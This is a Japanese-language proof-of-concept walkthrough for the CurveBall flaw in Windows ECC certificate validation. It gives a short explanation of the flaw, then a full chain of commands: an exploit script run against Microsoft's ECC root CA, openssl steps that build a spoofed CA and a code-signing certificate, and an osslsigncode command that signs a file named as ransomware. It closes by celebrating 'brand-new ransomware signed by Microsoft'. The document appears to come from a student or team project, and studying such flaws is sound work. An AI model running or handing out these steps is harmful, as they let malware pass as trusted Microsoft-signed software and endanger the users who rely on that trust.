
CurveBallとして知られるこの脆弱性は、ECCアルゴリズムを使用する証明書の検証が無効であることに起因します。Windowsは、証明書キャッシュから以前に検証済みの証明書を検証しようとし、その際に証明書の公開鍵が同一かどうかのみをチェックし、他のパラメータをチェックしません。
証明書を偽装するために、以下のようにパラメータを明示的に設定します:
d' = 1
G' = Q
詳細については、final_report_milestone_IV.pdfファイルの数学的詳細セクションを参照してください。
このPoCでは、"Microsoft ECC Product Root Certificate Authority"(Microsoftが2043年まで信頼する証明書)を使用します。
CAから公開鍵を抽出し、脆弱性に従って変更してみましょう。
ruby exploit.rb ./MicrosoftECCProductRootCertificateAuthority.cer
この鍵に基づいて新しいx509証明書を生成します。これが、私たち自身の偽装CAになります。
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt -subj "/C=/ST=/L=/O=/OU=/CN=/emailAddress="
spoofed_ca.crtの内容を表示するには
openssl x509 -in spoofed_ca.crt -noout -text
新しい鍵を生成します。この鍵は任意のタイプで構いません。コード署名証明書を作成するために使用され、その証明書を私たち自身のCAで署名します。
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
次に、新しい証明書署名要求(CSR)を作成します。この要求は通常、信頼できるCAに送信されますが、私たちは偽装したCAを持っているので、自分で署名することができます。
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs
新しいCSRを偽装したCAとCA鍵で署名します。この証明書は2047年まで有効ですが、実際の信頼できるMicrosoft CAは2043年で失効します。
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs
残っているのは、証明書、その鍵、および偽装CAをPKCS12ファイルにパッケージ化して、実行ファイルに署名することだけです。
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12
PKCS12ファイルを使用して実行ファイルに署名しましょう。
osslsigncode sign -pkcs12 cert.p12 -n "Signed by PISP Team" -in unsigned_ransomware.exe -out microsoft_signed_ransomware.exe -pass 1234
これで、Microsoftによって署名された真新しいランサムウェアが完成しました :)